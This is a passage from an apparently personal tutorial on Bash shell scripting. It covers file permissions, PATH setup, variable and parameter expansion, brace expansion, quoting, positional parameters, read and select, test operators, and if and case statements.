Linux</strong></p><ul><li><strong>chgrp</strong> groupname filename</li><li><strong>chgrp</strong> groupname foldername</li></ul><p><strong>How to Change Ownership in Linux</strong></p><ul><li><strong>chown</strong> name filename</li><li><strong>chown</strong> name foldername</li></ul><p><strong>How to Change Permissions in Numeric Code in Linux</strong></p><ul><li><strong>0</strong> = No Permission</li><li><strong>1</strong> = Execute</li><li><strong>2</strong> = Write</li><li><strong>4 </strong>= Read</li></ul><p>To calculate the permission number, you simply add the values of the permissions you want to assign. For example:</p><ul><li>Read + Write + Execute = 4 + 2 + 1 = 7 (full permissions)</li><li>Read + Write = 4 + 2 = 6 (read and write permissions)</li><li>Read + Execute = 4 + 1 = 5 (read and execute permissions)</li><li>Write + Execute = 2 + 1 = 3 (write and execute permissions)</li><li>Read = 4 (read-only permissions)</li><li>Write = 2 (write-only permissions)</li><li>Execute = 1 (execute-only permissions)</li><li>None = 0 (no permissions)</li></ul><p><strong>Here are a few examples:</strong></p><ul><li>755: Owner has read, write, and execute permissions (4 + 2 + 1), group and others have read and execute permissions (4 + 1).</li><li>644: Owner has read and write permissions (4 + 2), group and others have read permissions (4).</li></ul><h4>How to make our scripts accessible from any folder: -</h4><ol><li>Edit our<strong> ~/.profile</strong> file to add a custom folder to our PATH</li></ol><pre>export PATH=&quot;$PATH:/path/to/script_directory&quot;</pre><p>2. Reload the ~/.profile file</p><pre>$ source ~/.profile</pre><p>3. Add the scripts to the new folder, whose path is added to the profile file, so that we can run the script without mentioning the full path.</p><pre> $ mv my_script script_directory</pre><p>4. To run the script like a regular command, just type the script name.</p><pre>$ my_script</pre><blockquote>NOTE: — Scripts must have execute permission to run.</blockquote><h3>Section 2 — Variable and Shell Expansion</h3><p><strong>User-defined variables and Parameters expansion</strong></p><pre>#!/bin/bash<br><br>student=&quot;Sarah&quot;  #no spaces around &#39;=&#39; sign<br>echo &quot;Hello ${student}&quot;</pre><p><strong>Shell Variables</strong></p><p><strong>Bourne Shell Variables</strong></p><ul><li>Bourne shell (created by Stephen Bourne)</li><li>10 in total variables</li></ul><p><strong>Bash Shell Variables</strong></p><ul><li>Bash shell (based on Bourne shell)</li><li>Bourne Again SHell</li><li>Around 95 variables in total</li></ul><p>The <strong>PATH</strong> variable contains the list of folders that the shell will search for executable files to run as command names.</p><p>The <strong>HOME</strong> variable is used to store the absolute path to the current user’s home directory.</p><p>The <strong>USER</strong> variable contains the username of the current user.</p><p>The <strong>HOSTNAME</strong> variable contains the name of the current computer.</p><p>The <strong>HOSTTYPE</strong> variable tells us what type of processor architecture the computer is running.</p><p>The <strong>PS1(Prompt String One/Prompt Statement One)</strong> variable contains the prompt string shown in the terminal before each command.</p><p>PS1 (short for &quot;Prompt String 1&quot;) is an environment variable that defines the appearance and behavior of the command prompt in a shell session.</p><p>The command prompt is the text that appears before you input a command. Customizing the PS1 variable allows you to personalize how the prompt looks and what information it displays.</p><p>The PS1 variable is used by the shell to format the primary prompt. It supports a variety of escape sequences that you can use to include dynamic information like the current working directory, username, hostname, and more in the prompt. Here are some common escape sequences used with PS1:</p><ul><li>\u: Current username.</li><li>\h: Hostname of the system.</li><li>\w: Current working directory.</li><li>\d: Current date in &quot;Weekday Month Day&quot; format.</li><li>\t: Current time in 24-hour HH:MM:SS format.</li><li>\n: Newline character.</li><li>\$: Displays a $ for regular users and # for the root user.</li></ul><p>For example, setting PS1 to \u@\h:\w\$ would result in a prompt like user@hostname:/current/directory$.</p><h4>Parameter Expansion</h4><p>The ‘$’ character introduces parameter expansion, command substitution, or arithmetic expansion.</p><p>In Bash, <strong><em>parameter expansion is</em></strong><em> </em><strong><em>a feature that allows you to manipulate the value of a variable or to extract part of its value using a special syntax</em></strong><em>.</em></p><p>The basic form of parameter expansion is <strong>${<em>parameter</em>}</strong>. The value of the <em>parameter</em> is substituted.</p><pre>$ name=aYaN<br>$ echo ${name}</pre><p><strong><em>${parameter:offset:length</em></strong><em>}</em></p><p>This is referred to as Substring Expansion. It expands to up to <em>length</em> characters of the value of the <em>parameter</em> starting at the character specified by <em>offset</em>.</p><blockquote><strong>Note</strong> that a negative offset must be separated from the colon by at least one space to avoid being confused with the ‘:-’ expansion.</blockquote><p>Here are some examples illustrating substring expansion on parameters and subscripted arrays:</p><pre>$ string=01234567890abcdefgh<br>$ echo ${string:7}<br>7890abcdefgh<br><br>$ echo ${string:7:0} // it will be empty because the length is zero<br><br>$ echo ${string:7:2}<br>78<br><br>$ echo ${string:7:-2}<br>7890abcdef<br><br>$ echo ${string: -7}<br>bcdefgh<br><br>$ echo ${string: -7:0}<br><br>$ echo ${string: -7:2}<br>bc<br><br>$ echo ${string: -7:-2}<br>bcdef<br><br>$ set -- 01234567890abcdefgh<br>$ echo ${1:7}<br>7890abcdefgh<br><br>$ echo ${1:7:0}<br><br>$ echo ${1:7:2}<br>78<br><br>$ echo ${1:7:-2}<br>7890abcdef<br><br>$ echo ${1: -7}<br>bcdefgh<br><br>$ echo ${1: -7:0}<br><br>$ echo ${1: -7:2}<br>bc<br><br>$ echo ${1: -7:-2}<br>bcdef<br><br>$ array[0]=01234567890abcdefgh<br>$ echo ${array[0]:7}<br>7890abcdefgh<br><br>$ echo ${array[0]:7:0}<br><br>$ echo ${array[0]:7:2}<br>78<br><br>$ echo ${array[0]:7:-2}<br>7890abcdef<br><br>$ echo ${array[0]: -7}<br>bcdefgh<br><br>$ echo ${array[0]: -7:0}<br><br>$ echo ${array[0]: -7:2}<br>bc<br><br>$ echo ${array[0]: -7:-2}<br>bcdef</pre><p><strong><em>${#parameter}</em></strong></p><p>The length in characters of the expanded value of a <em>parameter</em> is substituted.</p><pre>$ name=aYaN<br>$ echo ${#name}<br> 4</pre><p><strong><em>${parameter^}</em></strong></p><p>This expansion modifies the <em>case</em> of alphabetic characters in the <em>parameter</em>.</p><p>The ‘^’ operator converts lowercase letters matching the <em>pattern</em> to uppercase</p><pre>$ echo ${name}<br> aYaN<br>$ echo ${name^}<br> AyaN<br>$ echo ${name^^}<br> AYAN</pre><p><strong><em>${parameter,}</em></strong></p><p>This expansion modifies the <em>case</em> of alphabetic characters in the <em>parameter.</em></p><p>The ‘,’ operator converts matching uppercase letters to lowercase.</p><pre>$ echo ${name}<br> aYaN<br><br>$ echo ${name,}<br> aYaN<br><br>$ echo ${name,,}<br> ayan </pre><h4><strong>Command Substitution</strong></h4><pre>#!/bin/bash<br><br>time=$(date +%H:%m:%S)<br>echo &quot;Hello $USER, the time right now is $time&quot;</pre><p>Command substitution allows you to capture the output of any command as an argument to another command.</p><p><strong>Syntax:-</strong> $(command)</p><h4><strong>Arithmetic Expansion</strong></h4><pre>#!/bin/bash<br><br>x=4<br>y=2<br><br>echo $(( $x + $y ))<br><br>$./arithmetic_script <br> 6</pre><blockquote>Note:- Arithmetic Expansion doesn’t work on decimals.</blockquote><p><strong>Syntax: -</strong>$(( expression ))</p><blockquote>The Arithmetic expansion uses an order of precedence when handling arithmetic operators to get the correct result.</blockquote><h4><strong>Dealing with decimal numbers — the bc command</strong></h4><p><strong>bc</strong> command is used for the command line calculator. It is similar to a basic calculator by using which we can do basic mathematical calculations.</p><pre>echo &quot;scale=2; 5/2&quot; | bc    #scale value 2 specifies that the result will be upto 2 decimal place<br>2.50</pre><p><strong>Tilde Expansion</strong></p><pre>$ echo ~</pre><p><strong>~ </strong>Expand to the variable $HOME or home directory of the current user.</p><p><strong>~ </strong>USER Expand to the home directory of the given username</p><blockquote>Tilde(~) as a separate word, expands to $HOME if it is defined, <em>if $HOME is not defined, then it expands with the home directory of the current user.</em></blockquote><p>This is commonly seen in paths like ~/Documents which refer to the &quot;Documents&quot; directory within the user&#39;s home directory. However, the tilde prefix (~+ and ~-) has a specific usage within shell scripting and navigation.</p><ol><li><strong>Tilde-Prefix </strong><strong>~+:</strong></li></ol><p>If you use the tilde-prefix ~+, it represents the current working directory (PWD) of the shell. This means that wherever you are currently located in the filesystem, ~+ will be replaced by the full path to that location.</p><p>For example, if your current working directory is /home/user/Documents, then using echo ~+ would display /home/user/Documents.</p><p><strong>2. Tilde-Prefix </strong><strong>~-:</strong></p><p>If you use the tilde-prefix ~-, it represents the value of the shell variable OLDPWD. OLDPWD stores the previous working directory, i.e., the directory you were in before you changed to the current directory.</p><p>For example, if you were initially in /home/user/Documents and then changed to /home/user/Pictures, using echo ~- would display /home/user/Documents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*CrCT2m89leNtZN66FYDc9Q.png" /></figure><h4>Brace Expansion</h4><p>Brace expansion {..} is one of the most underutilized but awesome shell features in Linux.</p><p>You can use it to print sequences of numbers and letters. Add two integers or letters separated by <strong>two dots</strong> in curly braces.</p><blockquote>Note: -There must not be a space between the dots in the braces. Otherwise, the expansion won’t work.</blockquote><pre>ayan@LHB:~$ echo {7..1}<br>7 6 5 4 3 2 1<br><br>ayan@LHB:~$ echo {01..10}<br>01 02 03 04 05 06 07 08 09 10<br><br><br># We can use the brace expansion in the form of {x..y..z} to generate values from x till y while incrementing by z.<br><br>ayan@LHB:~$ echo {0..15..2}<br>0 2 4 6 8 10 12 14<br><br>ayan@LHB:~$ echo {3..-4} #for negative numbers<br>3 2 1 0 -1 -2 -3 -4<br><br>ayan@LHB:~$ echo {A..H}<br>A B C D E F G H<br><br>ayan@LHB:~$ echo {H..A..2}<br>H F D B<br><br># Create multiple files with similar names<br><br>ayan@LHB:~/test$ touch file_{1..10}.txt<br>ayan@LHB:~/test$ ls<br>file_10.txt  file_2.txt  file_4.txt  file_6.txt  file_8.txt<br>file_1.txt   file_3.txt  file_5.txt  file_7.txt  file_9.txt<br><br># When you are about to edit a config file, it is recommended to make a backup. The general convention is to add a .bak extension to the original filename.<br>cp -p long_filename.txt long_filename.txt.bak<br><br>cp -p long_filename.txt{,.bak} #with brace expansion<br><br><br># Use of multiple braces<br>ayan@LHB:~/test$ touch {a,b,c}.{hpp,cpp}<br>ayan@LHB:~/test$ ls<br>a.cpp  a.hpp  b.cpp  b.hpp  c.cpp  c.hpp</pre><p><strong>How Bash processes command lines</strong></p><p>First, the shell will get the commands from the user or in the form of a script.</p><p><strong>Step1 : Tokenization</strong></p><p><strong>Token</strong> — A sequence of characters considered a single unit by the shell.</p><p>The shell determines where a token starts and where it ends by looking at the metacharacters:</p><ul><li>|</li><li>&amp;</li><li>;</li><li>()</li><li>&lt;&gt;</li><li>space, tab, and newline</li></ul><p>Once bash has broken the line into tokens and then classifies these tokens as words or operators.</p><p><strong>Word:</strong> a token that does not contain unquoted metacharacters.</p><p><strong>Operators:</strong> A token that contains at least one unquoted metacharacter.</p><ol><li>The shell identifies unquoted metacharacters and uses them to divide up the command line into tokens.</li><li>It then characterizes the tokens into words and operators.</li></ol><p><strong>Step2: Command Identification</strong></p><p>The shell breaks the command line up into simple or compound commands.</p><p><strong>Simple command </strong>— a bunch of individual words, and each simple command is terminated by a control operator, <em>ex:- echo, tar</em></p><p><strong>Compound Commands </strong>— provide bash with its programming constructs, uses reserved words to determine where compound commands start and end, such as if statements, <em>ex: for loops, while loops, etc.</em></p><p><strong>Step3: Expansions</strong></p><p>When a command is entered in the command line, it expands into its output which is displayed.</p><p>The expansions are in the <strong><em>same stage</em></strong> are all given the same <em>priority</em>, and are simply performed in the order they are found on the command line when it is read from <em>left to right.</em></p><p><strong><em>Stage1</em></strong><em>: Brace Expansion</em></p><p><strong><em>Stage2</em></strong><em>:</em></p><ul><li>Parameter Expansion</li><li>Arithmetic Expansion $(( *expression* )) *command*</li><li>Command Expansion $(*command*)</li><li>Tilde Expansion</li></ul><p><strong><em>Stage3</em></strong><em>: Word Splitting</em></p><p>Word splitting is only performed on the results of <strong>unquoted</strong>:</p><ol><li>Parameter expansion</li><li>Command expansion</li><li>Arithmetic expansion</li></ol><p>The characters used to split the words are governed by the <strong>IFS(Internal Field Separator)</strong> variable.</p><ul><li>Space, tab, and new line</li></ul><blockquote>The shell performs word splitting to break the results of some unquoted expansions into separate words and it uses the IFS variable to do this.</blockquote><p><strong><em>Stage4: </em></strong><em>Globbing</em></p><p>Globbing, also known as filename expansion, is used to generate an alphabetically-sorted list of file names that match a certain pattern exactly.</p><ul><li>Globbing is only performed on words (not operators)</li><li>Globbing Patterns are words that contain unquoted Special Pattern Characters: -</li><li>***** will match anything, regardless of its length or what characters it contains. ***** will match an empty string.</li><li><strong>?</strong> like an asterisk, match any character, but it will only match exactly only 1 character at a time.</li><li><strong>[</strong> matches exactly 1 character, but only if it is one listed within the square brackets <strong>[]</strong></li></ul><p><strong>Step4: Quote Removal</strong></p><p>There are three types of quotes:</p><ol><li>Backslash</li><li>Single Quotes ‘ ’</li><li>Double Quotes “ ”</li></ol><p>The shell will remove from the final command any unquoted backslashes, single quote characters, and double quote characters that did NOT result from an expansion.</p><pre>$ echo \&quot;Hello World&quot;\<br>$ &quot;Hello World&quot;<br><br># In our example, the backslashes are “quoting” the double quotes, so the double quotes remain. However, the backlashes themselves are removed because they are unquoted and not the result of an expansion.</pre><p><strong>Step5: Redirection</strong></p><p><em>Types of Redirection: -</em></p><ol><li>Overwrite Redirection</li></ol><p>Overwrite redirection is useful when you want to store/save the output of a command to a file and replace all the existing content of that file.</p><ul><li>“&gt;” Standard output</li><li>“&lt;” Standard input</li></ul><pre>cat &gt; file.txt</pre><blockquote>The main work of the <em>cat</em> is to copy the input and give the output to the screen.</blockquote><p>2. Append Redirection</p><p>With the help of this Redirection, you can append the output to the file without compromising the existing data of the file.</p><ul><li>“&gt;&gt;” Standard output</li><li>“&lt;&lt;” Standard input</li></ul><p>3. Merge Redirection</p><p>This allows you to redirect the output of a command or a program to a specific file descriptor instead of standard output. the syntax for using this is “&gt;&amp;” operator followed by the file descriptor number.</p><ul><li>“p &gt;&amp; q” Merges output from stream p with stream q</li><li>“p &lt;&amp; q” Merges input from stream p with stream q</li></ul><p>4. Error Redirection</p><p>Error redirection is transferring the errors generated by some false commands to a file rather than STDOUT.</p><p>Whenever a program is executed in the terminal, 3 files are generated:</p><ul><li><strong>Stream 0 = Standard Input (stdin)</strong></li><li><strong>Stream 1= Standard Output (stdout)</strong></li><li><strong>Stream 2 = Standard Error (stderr)</strong></li></ul><pre>$ somerandomcommand 2&gt;error.txt<br>#Using “2&gt;” re-directs the error output to a file named “error.txt” and nothing is displayed on STDOUT.</pre><p>Bash then executes the command line that is left over.</p><p><strong>Quoting</strong></p><p>In Linux Shell, many special characters have their own special meanings. Sometimes they are used to perform an action while other times they are just used as a character, so the quoting mechanism performs this task it makes us use them in whatever way we want to.</p><p><strong>Metacharacters: -</strong></p><ul><li><strong>$</strong> Variable Substitution or expand the value of Variable.</li><li><strong>&gt;</strong> used for Output Redirection.</li><li><strong>&gt;&gt;</strong> used for Output Redirection to append.</li><li><strong>&lt;</strong> Input redirection.</li><li><strong>&lt;&lt;</strong> used for input redirection and is also known as here document.</li><li><strong>****</strong> Match any number of characters, Substitution wildcard for zero or more characters</li><li><strong>?</strong> Match one character, Substitution wildcard for 1 character</li><li><strong>[]</strong> Match range of characters, Substitution wildcard for any character between brackets</li><li><strong>cmd</strong> Replace cmd with the command to execute and will execute that, Substitution wildcard for command execution</li><li><strong>$(cmd)</strong> Replace cmd with the command to execute and will execute that, Substitution wildcard for command execution</li><li><strong>|</strong> Pipe is a Redirection to send the output of one command/program/process to another command/program/process for further processing.</li><li><strong>;</strong> Command separator is used to execute 2 or more commands with one statement.</li><li><strong>||</strong> OR conditional execution of the commands.</li><li><strong>&amp;&amp;</strong> AND conditional execution of the commands.</li><li><strong>()</strong> Groups the command into one output stream.</li><li><strong>&amp;</strong> executes the command in the background and will display the assigned Pid.</li><li><strong>#</strong> to comment on something.</li><li><strong>$</strong> To expand the value of a variable.</li><li><strong>\</strong> used to escape the interpretation of a character or to prevent that.</li></ul><p><strong>The Escape Character or Backslash</strong></p><p>A <strong>Backslash(‘\’)</strong> is the bash escape character. Any character immediately following the backslash loses its special meaning and any letter following the backslash gains its special meaning.</p><p>→ Use <em>single quotes</em> to remove all the special meanings from all the characters within them.</p><p>→ Use <em>double quotes</em> to remove the special meaning from all except the <strong>dollar sign($)</strong> and <strong>backticks(`).</strong></p><p>To gain a better understanding of variable and shell expansion, I have included links to the problems that I have completed on this topic. These problems were provided by my instructor during the course.</p><p><a href="https://drive.google.com/file/d/1PJ1g8zsYqSjS0fiMdXzc9Pnj3PGrZk1G/view?usp=sharing">Example 1</a></p><p><a href="https://drive.google.com/file/d/1XNQyQtMAA2jhoh40rraoWl_oIbXNUWHj/view?usp=sharing">Example 2</a></p><p><a href="https://drive.google.com/file/d/1vUZr2np2iFVIxG7nKCRE6tw3Q4AIiAan/view?usp=sharing">Example 3</a></p><p><a href="https://drive.google.com/file/d/1SKMNpBgG6whGPV3Zs-JLi-m34oH696re/view?usp=sharing">Problem Set</a></p><h3>Section 3 — Requesting User Input</h3><h4>Positional Parameters</h4><p>A <em>positional parameter</em> is a parameter denoted by one or more digits, other than the single digit 0 .</p><p>Positional parameters are assigned from the shell’s arguments when it is invoked and may be reassigned using the set built-in command.</p><p>Positional parameter N may be referenced as ${N}, or as $N when N consists of a single digit.</p><pre>#!/bin/bash<br>echo &quot;My name is $1&quot;<br>echo &quot;My home directory is $2&quot;<br>echo &quot;My favorite color is $3&quot;<br>echo $#<br><br>#($#) Expands to the number of positional parameters in decimal.<br><br>$ ./positional_script.sh ayan $HOME black<br>My name is ayan<br>My home directory is /home/kali<br>My favorite color is black<br>3<br><br>#!/bin/bash<br>echo &quot;My name is $1&quot;<br>echo &quot;My home directory is $2&quot;<br>echo &quot;My favorite color is $3&quot;<br>echo &quot;The 10th value is ${10}&quot;<br>echo &quot;The 11th value is $11&quot;<br><br>$ ./positional_script.sh ayan $HOME black a b c d e f g h i j k<br>My name is ayan<br>My home directory is /home/kali<br>My favorite color is black<br>The 10th value is g<br>The 11th value is ayan1  # $1 = a and it&#39;s printing 1 in the end as per the command.</pre><blockquote>For positional parameters 10 and above, use the advanced “dollar-curly brace” syntax.</blockquote><pre>#!/bin/bash<br><br>echo $(( ${2:-0} $1 ${3:-0} $1 ${4:-0} $1 ${5:-0} $1 ${6:-0}))<br>$./calculator.sh + 1 2 3 4 5<br>15</pre><p>In the above example, we are using arithmetic expansion (( )), and $1 is taking the operator and the rest parameters are the operands. By using this ${2:-0} expression we are implementing a fail-safe, as in if the user forgets to put a value for any<em> positional parameter</em> a default value of 0 will be assigned.</p><p><strong>0</strong></p><p>(<strong>$0</strong>) Expands to the name of the shell or shell script. This is set at shell initialization. If Bash is invoked with a file of commands (see <a href="https://www.gnu.org/software/bash/manual/bash.html#Shell-Scripts">Shell Scripts</a>), $0 is set to the name of that file.</p><p><strong>@</strong></p><p><strong>($@)</strong> Expands to the positional parameters, starting from one. In contexts where word splitting is performed, this expands each positional parameter to a separate word; if not within double quotes, these words are subject to word splitting.</p><pre>#!/bin/bash<br>echo $@<br><br>$./special.sh 1 2 3 4 5 6<br>1 2 3 4 5 6   #instead of using positional parameters $@ does the job<br><br>touch $@<br>$./special.sh &quot;daily feedback&quot; &quot;monthly report&quot;<br>$ ls<br>daily feedback monthly report  #here 4 separate text files are created, the two parameters went under word splitting<br><br>#To stop this from happening wrap the &quot;$@&quot;<br>touch &quot;$@&quot;<br>$./special.sh &quot;daily feedback&quot; &quot;monthly report&quot;<br>$ ls<br>$ &#39;daily feedback&#39; &#39;monthly report&#39;</pre><p>*</p><p>($*) Expands to the positional parameters, starting from one. When the expansion is not within double quotes, each positional parameter expands to a separate word.</p><p>When the expansion occurs within double quotes, it expands to a single word with the value of each parameter separated by the first character of the IFS special variable.</p><p>If IFS is null, the parameters are joined without intervening separators.</p><pre>#!/bin/bash<br>IFS=,<br>echo $*<br><br>$ ./special.sh 1 2 3<br>$ 1,2,3</pre><p>The IFS (Internal Field Separator) is an environment variable that determines how the shell splits words (input strings) into fields or tokens. The default value of IFS is a <em>space, tab, and newline</em>. This splitting is particularly relevant when working with loops, commands that process input, and reading data from files.</p><p>The IFS variable is used by the shell to split a string into fields, and these fields can be accessed using positional parameters like $1, $2</p><pre>line=&quot;John:Doe:30:New York&quot;<br>IFS=&quot;:&quot;<br>read -r first_name last_name age city &lt;&lt;&lt; &quot;$line&quot;<br>echo &quot;First Name: $first_name&quot;<br>echo &quot;Last Name: $last_name&quot;<br>echo &quot;Age: $age&quot;<br>echo &quot;City: $city&quot;</pre><p>In the above example, the IFS variable is set to : before using the read command. This causes the shell to split the line variable into fields based on the colon delimiter.</p><blockquote>If we change IFS to a different value, make sure to reset it to its original value when you&#39;re done, especially in scripts where changing IFS could have unintended consequences.</blockquote><h3>The read command</h3><p><strong>Read command</strong> in Linux system is used to read from a file descriptor. Basically, this command reads up the total number of bytes from the specified file descriptor into the buffer. If the number or count is zero then this command may detect the errors. But on success, it returns the number of bytes read.</p><pre>$ read<br>Ayan<br>$ echo $REPLY<br>Ayan<br><br>$ read input1 input2<br> Hello Goodbye<br>$ echo $input1<br>Hello<br>$ echo $input2<br>Goodbye</pre><pre>#!/bin/bash<br>read -p &quot;Input your first name age and town:- &quot; name age town # -p is for prompt<br>echo &quot;Your first name is $name&quot;<br>echo &quot;Your age is $age&quot;<br>echo &quot;You are from $town&quot;<br><br>$ ./read_script.sh<br>Input your first name age and town Ayan 23 Kanpur<br>Your first name is Ayan<br>Your age is 23<br>You are from Kanpur</pre><h4>The Select command</h4><p><strong>Select</strong> command in Linux is used to create a numbered menu from which a user can select an option. If the user enters a valid option then it executes the set of command written in the select block and then ask again to enter a number, if a wrong option is entered it does nothing. If the user enters nothing and simply presses ‘<em>enter</em>‘ the options menu gets printed.</p><pre>#!/bin/bash<br>select day in mon tue wed thu fri sat sun #if var is not provided, by default it is stored in $RESPONSE<br>do <br>echo &quot;The day of the week is $day&quot;<br># break<br>done<br><br>$./select.sh<br>1) mon<br>2) tue<br>3) wed<br>4) thu<br>5) fri<br>6) sat <br>7) sun<br>#? 4<br>The day of the week is thu <br>#?</pre><h3>Section 4 -Logic</h3><h3>Chaining commands with list operators</h3><p>A list is a sequence of one or more pipelines separated by one of the operators ‘<strong>;</strong>’, ‘<strong>&amp;</strong> ’, ‘<strong>&amp;&amp;</strong>’, or ‘<strong>||</strong>’, and optionally terminated by one of ‘;’, ‘&amp;’, or a newline.</p><p>If a command is terminated by the <strong><em>control operator ‘&amp;’</em></strong>, the shell executes the command asynchronously in a subshell. This is known as executing the command in the <em>background</em> , and these are referred to as <em>asynchronous</em> commands.</p><blockquote>The shell does not wait for the command to finish, and the return status is 0 (true).</blockquote><p>Commands separated by a ‘;’ are executed sequentially; the shell waits for each command to terminate in turn. The return status is the exit status of the last command executed.</p><p><strong>AND</strong> and <strong>OR</strong> lists are sequences of one or more pipelines separated by the control operators ‘<strong>&amp;&amp;</strong>’ and ‘<strong>||</strong>’, respectively.</p><p>An AND list has the form</p><pre>command1 &amp;&amp; command2</pre><p><em>command2</em> is executed if, and only if, <em>command1</em> returns an exit status of <strong>zero</strong> (success).</p><p>An <strong>OR</strong> list has the form</p><pre>command1 || command2</pre><p><em>command2</em> is executed if, and only if, <em>command1</em> returns a non-zero exit status.</p><h4>Test commands and conditional operators</h4><p>A test command is a command that is used to test the validity of a command. It checks whether the command/expression is true or false. It is used to check the type of file and the permissions related to a file.</p><pre>Syntax:<br>test [expression]<br><br>Example:<br>test &quot;vaariable1&quot; operator &quot;variable2&quot;<br><br>#Always enclose the test variables in double quotes</pre><p><strong>Flags for files and directories: -</strong></p><ul><li><strong>test -e filename:</strong> Checks whether the file exists or not. And return 1 if file exists and returns 0 if file does not exist.</li><li><strong>test -d filename:</strong> Checks whether the file is a directory or not. And returns 0 if the file is a directory and returns 1 if the file is not a directory.</li><li><strong>test -f filename:</strong> Checks whether the file is a regular file or not. And returns 0 if the file is a regular file and returns 1 if the file is not a regular file.</li><li><strong>test -s filename:</strong> Checks whether the file is empty or not. And returns 0 if the file is not empty and returns 1 if the file is empty.</li><li><strong>test -r filename:</strong> Checks whether the file is readable or not. And returns 0 if the file is readable and returns 1 if the file is not readable.</li><li><strong>test -w filename:</strong> Checks whether the file is writable or not. And returns 0 if the file is writable and returns 1 if the file is not writable.</li><li><strong>test -x filename:</strong> Checks whether the file is executable or not. And returns 0 if the file is executable and returns 1 if the file is not executable.</li></ul><p><strong>Flags for text strings: -</strong></p><ul><li><strong>string1 = string2:</strong> Checks whether the two strings are equal or not. And returns 0 if the two strings are equal and returns 1 if the two strings are not equal.</li><li><strong>string1 != string2:</strong> Checks whether the two strings are not equal or not. And returns 0 if the two strings are not equal and returns 1 if the two strings are equal.</li><li><strong>n string:</strong> Checks whether the string is empty or not. And returns 1 if the string is empty and <em>returns 0 if the string is </em><strong><em>not empty</em></strong>.</li><li><strong>z string:</strong> Checks whether the string is empty. And <em>returns 0 if the string </em><strong><em>is empty</em></strong> and returns 1 if the string is not empty.</li></ul><p><strong>Flags for comparison of numbers: -</strong></p><ul><li><strong>num1 -eq num2:</strong> Checks whether the two numbers are equal or not.</li><li><strong>num1 -ne num2:</strong> Checks whether the two numbers are not equal or not.</li><li><strong>num1 -gt num2:</strong> Checks whether the first number is greater than the second number or not.</li><li><strong>num1 -ge num2:</strong> Checks whether the first number is greater than or equal to the second number or not.</li><li><strong>num1 -lt num2:</strong> Checks whether the first number is less than the second number or not.</li><li><strong>num1 -le num2</strong>: Checks whether the first number is less than or equal to the second number or not.</li></ul><p><strong>Conditional Flags: -</strong></p><ul><li><strong>condition1 -a condition2:</strong> Checks whether the two conditions are true or not. And <em>returns 0 if both the conditions are true</em> and returns 1 if either of the conditions are false.</li><li><strong>condition1 -o condition2:</strong> Checks whether the two conditions are true or not. And returns 0 if either of the conditions are true and <em>returns 1 if both the conditions are false</em>.</li><li><strong>!expression:</strong> Checks whether the expression is true or not. And returns 0 if the expression is false and returns 1 if the expression is true.</li></ul><pre>$ a=hello<br>$ b=goodbye<br><br>$ [[ $a = $b ]] ; echo $?<br>1 (false)<br><br>$ [[ $a != $b ]] ; echo $?<br>0 (true)<br><br>$ [[ -z $c ]] ; echo $?<br>0</pre><p><strong>NOTE: -</strong></p><pre>Difference between single and double square brackets<br> $ [[ 1 &lt; 2 ]] &amp;&amp; echo “1 is less than 2”<br> 1 is less than 2<br><br> $ [ 1 &lt; 2 ] &amp;&amp; echo “1 is less than 2”<br> bash: 2: No such file or directory<br><br>#Bash treated the &lt; operator as a file redirection operator. <br>#Therefore, we must use the double square bracket for a successful comparison.</pre><h4>If statements</h4><p>The basic syntax: -</p><pre>if CONDITION<br>then <br> COMMANDS<br>fi</pre><pre>echo &quot;Enter number: &quot;<br>read x<br>if [ $((x%2)) == 0 ]; then<br> echo &quot;Number is even&quot;<br>fi</pre><h4>If…else statements</h4><p>The basic syntax: -</p><pre>if condition<br>then <br> COMMANDS_1<br>else <br> COMMANDS_2<br>fi</pre><pre>echo &quot;Enter number: &quot;<br>read x<br>if [ $((x%2)) == 0 ]; then<br> echo &quot;Number is even&quot;<br>else <br> echo &quot;Number is odd&quot;<br>fi</pre><h4>If…elif…else Statements</h4><p>The basic syntax: -</p><pre>if CONDITION_1<br>then<br> COMMANDS_1<br>elif CONDITION_2<br>then<br> COMMANDS_2<br>else<br> COMMANDS_3<br>fi</pre><pre>echo &quot;Enter number: &quot;<br>read x<br>if [ $x == 0 ]; then<br> echo &quot;Number is zero&quot;<br>elif [ $((x%2)) == 0 ]; then<br> echo &quot;Number is even&quot;<br>else <br> echo &quot;Number is odd&quot;<br>fi</pre><h4>Nested If Statements</h4><p>The basic syntax: -</p><pre>if CONDITION_1<br>then<br> if CONDITION_2<br> then <br>  COMMANDS_1<br> else <br>  COMMANDS_2<br> fi<br>else <br> COMMANDS_3<br>fi</pre><pre>echo -n &quot;Enter Number: &quot;<br>read x<br><br>if [ $((x%2)) == 0 ]; then<br> if [ $x == 0 ]; then<br>   echo &quot;Number is Zero&quot;<br> else<br>   echo &quot;Number is Even&quot;<br> fi<br>else<br> echo &quot;Number is Odd&quot;<br>fi</pre><p><strong>Note: -</strong></p><p><strong>1. Ensure whitespaces between the brackets and the actual check/comparison statement.</strong></p><p><strong>2. Always end the line before adding a new keyword, such as “then.”</strong></p><p>Put a “;” between the previous statement and the keyword, or start a new line with the keyword.</p><p><strong>3. To use many conditions in one statement, use logical operators.</strong></p><pre>if [[ $x -ge $y ]] &amp;&amp; [[ $x -ge $z ]]; then<br>  echo &quot;x is greatest&quot;<br>fi</pre><h4>CASE Statement</h4><p>The Bash case statement is the simplest form of<em> IF-THEN-ELSE</em> with many <em>ELIF</em> elements. Using the case statement makes our bash script more readable and easier to maintain.</p><pre>  case expression in  <br>    pattern_1)  <br>        statements  <br>        ;;  <br>    pattern_2)  <br>        statements  <br>        ;;  <br>    pattern_3|pattern_4|pattern_5)  <br>        statements  <br>        ;;  <br>    pattern-n)  <br>        statements  <br>        ;;  <br>    *)  <br>        statements  <br>        ;;  <br>esac</pre><p><strong>Note: -</strong></p><ul><li>Each case statement in bash starts with the ‘<strong>case</strong>’ keyword, followed by the case expression and ‘in’ keyword. The case statement is closed by ‘<strong>esac</strong>’ keyword.</li><li>We can apply multiple patterns separated by <strong>|</strong> operator. The <strong>)</strong> operator indicates the termination of a pattern list.</li><li>A pattern containing the statements is referred to as a clause, and it must be terminated by double semicolon (;;).</li><li>An asterisk symbol (*****) is used as a final pattern to define the default case. It is used as a default case when used as the last case.</li></ul><pre>#!/bin/bash<br><br>read -p &quot;Please enter a number &quot; number<br>case &quot;$number&quot; in <br> [0-9]) echo &quot;You have entered a single digit number.&quot;;;<br> [0-9][0-9]) echo &quot;You have entered a double digit number.&quot;;;<br> [0-9][0-9][0-9] echo &quot;You have entered a three digit number.&quot;;;<br> *) echo &quot;You have entered more than three digit 